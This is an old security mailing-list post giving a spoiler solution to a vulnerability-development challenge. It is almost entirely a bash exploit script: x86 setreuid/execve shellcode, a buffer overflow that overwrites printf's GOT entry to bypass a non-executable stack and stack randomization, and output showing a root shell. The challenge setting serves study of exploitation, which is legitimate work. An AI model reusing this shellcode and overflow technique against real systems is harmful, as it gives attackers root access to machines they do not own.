Re: [Vuln-dev Challenge] Challenge #2 (SPOILER)

[Joel Eriksson <je-vulndev () bitnux com>]

[je@vudo ~]$ cat>expldev-2.sh<<EOF
#!/bin/bash
#
# Linux/x86 exploit for vulndev-2
# 
# Defeats non-executable stack / heap & randomized stack base
#
# 2003-05-23 - Joel Eriksson (je at 0xbadc0ded.org)
#

shellcode=`
        # setreuid(0, 0)
        printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
        # execve("/bin/sh", "/bin/sh", NULL)
        printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
        printf "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
`

buf_size=90     # size of buffer
pad_size=2      # align to word boundary
num_reps=32     # &bfp - buf may be > BFSIZE (padding/alignment)

addr=0x$(objdump -R vulndev-2 | awk '$3 == "printf" { print $1 }')

arg1=$(perl -e 'print "A"x('$buf_size+$pad_size') . pack("L", '$[addr-2]')x'$num_reps)
arg2=$(perl -e 'print pack("L", '$[addr+4]')')$shellcode

rm -f db.log ; ./vulndev-2 $arg1 $arg2

exit 0
EOF
[je@vudo ~]$ ./expldev-2.sh
sh-2.05b# whoami
root
sh-2.05b# 

-- 
Joel Eriksson <je () mensa se>
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Security Research & Systems Development at Bitnux
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